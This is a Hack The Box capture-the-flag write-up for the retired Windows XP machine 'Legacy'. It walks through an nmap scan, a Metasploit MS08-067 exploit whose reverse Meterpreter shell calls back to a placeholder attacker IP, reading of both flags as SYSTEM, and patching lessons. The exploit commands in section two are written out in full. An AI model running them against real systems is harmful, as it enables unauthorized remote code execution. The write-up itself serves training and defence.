root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat legacy.md
// writeups

Legacy

15 Mar 2017 · 8 min read
Legacy - maquina de Hack The Box

Executive summary — Legacy is the textbook Easy Windows box built entirely around MS08-067: a bare-bones Windows XP host with SMB exposed on the network and never patched, vulnerable to CVE-2008-4250 (a path-canonicalization overflow in the Server service). One Metasploit module gives code execution as SYSTEM with zero authentication and zero privilege-escalation phase — the exploit itself already runs at the highest privilege level. One hop: SMB → SYSTEM.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.227.181

Attack map

[135/139/445] TCP recon → Windows XP fingerprint
   │
[445] SMB · microsoft-ds · message signing disabled
   │  MS08-067 / CVE-2008-4250 — NetAPI path-canonicalization overflow (unauth RCE)
   ▼
[SYSTEM]  NT AUTHORITY\SYSTEM (direct — no privesc needed)
   │
   ▼
[LOOT]  user.txt (john) + root.txt (Administrator) — same shell, one shot

1. Reconnaissance

A full-port scan is the right call on a box this old: on legacy Windows the interesting service is rarely on a "well-known" port list, and the top-1000 default nmap scan can miss things. Scanning all 65535 TCP ports with service/version detection and the default NSE scripts costs a couple of extra minutes and removes any doubt.

nmap -p- -sC -sV 10.129.227.181
-p-scan all 65535 TCP ports, not just the top 1000
-sCrun nmap's default NSE script set (banner grabs, basic enumeration)
-sVfingerprint the exact service/version behind each open port
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds  Windows XP
(message signing disabled)

Analysis: three ports, all classic Windows file-sharing/RPC — 135 (MSRPC endpoint mapper), 139 (NetBIOS session service) and 445 (SMB over TCP, no NetBIOS wrapper needed). Nmap fingerprints the OS behind the stack as Windows XP, and SMB message signing is disabled — a configuration nobody has touched since the box was built. XP + unsigned SMB + no service pack info visible is about as loud a signal as it gets: this is a MS08-067 candidate (and, depending on the exact service pack, possibly MS17-010 too). No web ports, no other services to distract with — SMB is the entire attack surface.

2. Exploitation — MS08-067

What CVE-2008-4250 actually is: the Windows Server service exposes an RPC interface (srvsvc) over the SMB named-pipe transport, used for things like share enumeration and path handling. One of its internal routines canonicalizes filesystem paths — collapsing sequences like ..\ — and does so with a broken length check. A specially crafted RPC request (for example through the legacy NetPathCanonicalize/NetAPI32 call chain) overflows a stack buffer before any authentication happens, letting an attacker hijack execution inside the SMB service process — which runs as SYSTEM. Microsoft rated it critical, CVSS 10.0, and pushed the fix as an out-of-band patch in October 2008 because it was actively being weaponized — it went on to become the primary spreading vector of the Conficker worm, which infected millions of machines that skipped that single update.

Metasploit ships a mature, self-contained module for it, so there's no need to hand-roll the RPC packet:

msfconsole
search ms08_067
use exploit/windows/smb/ms08_067_netapi
set RHOSTS 10.129.227.181
set LHOST <ATTACKER_IP>
set LPORT 4444
set payload windows/meterpreter/reverse_tcp
run
RHOSTStarget IP — where the vulnerable SMB service is listening
LHOST / LPORTattacker IP/port the reverse Meterpreter shell will call back to
payloadwindows/meterpreter/reverse_tcp, in its 32-bit build — Windows XP is x86, so a 64-bit stager would simply never execute
[*] Meterpreter session 1 opened

getuid
Server username: NT AUTHORITY\SYSTEM

SYSTEM on the first shot, no escalation phase: the vulnerable code path runs inside a system service, so the memory corruption executes with that service's own privileges. There is no local user to pivot from and no token to steal — the exploit itself hands over the crown jewels.

3. Verifying the foothold

Before touching the filesystem it's worth confirming exactly what was landed on, mostly to rule out a fluke session or a mismatched payload architecture:

sysinfo

This reports the target's OS build, architecture and computer name straight from the Meterpreter session — a quick sanity check that the session is stable and really is the Windows XP host from the scan, before relying on it to read both flags.

4. Filesystem enumeration and flags

Windows XP predates the modern C:\Users layout entirely — user profiles live under C:\Documents and Settings\, and that path contains a literal space, so every reference to it needs to be quoted or the shell will split it into two arguments.

ls C:\\
Documents and Settings
WINDOWS
Program Files

That confirms the expected legacy layout. From there, listing the profiles directory shows which local users exist and where each one's desktop — and flag — sits:

ls "C:\Documents and Settings\"
ls "C:\Documents and Settings\john\Desktop\"
cat "C:\Documents and Settings\john\Desktop\user.txt"
ls "C:\Documents and Settings\Administrator\Desktop\"
cat "C:\Documents and Settings\Administrator\Desktop\root.txt"

Both flags come out of the exact same SYSTEM session — there's no separate low-privilege step to go through first, since MS08-067 already dropped us at the top.

Vulnerability summary

PhaseComponentVulnerabilityImpact
Foothold + PrivilegeSMB / Server service (Windows XP)MS08-067 / CVE-2008-4250 — NetAPI path-canonicalization stack overflowUnauthenticated remote code execution as SYSTEM (CVSS 10.0)

Lessons learned

  • Windows XP reachable over the network is a guaranteed compromise. It's been end-of-life since 2014 — no more security patches, ever, for any newly-found flaw.
  • An unpatched MS08-067 is trivial, wormable RCE. The fix has existed since October 2008; this is precisely the hole Conficker crawled through to infect millions of hosts.
  • Bugs in system-level services skip the escalation phase entirely. When the vulnerable code already runs as SYSTEM, there's no privilege boundary left to break.
  • SMB message signing exists for a reason. Leaving it disabled doesn't cause MS08-067 by itself, but it's one more sign of a host nobody has hardened since day one.
  • Full-port scans matter on old infrastructure. Never assume the interesting service sits inside nmap's default top-1000.
  • Segment and retire the obsolete. One forgotten legacy host with SMB open to the world is enough to compromise an entire flat network.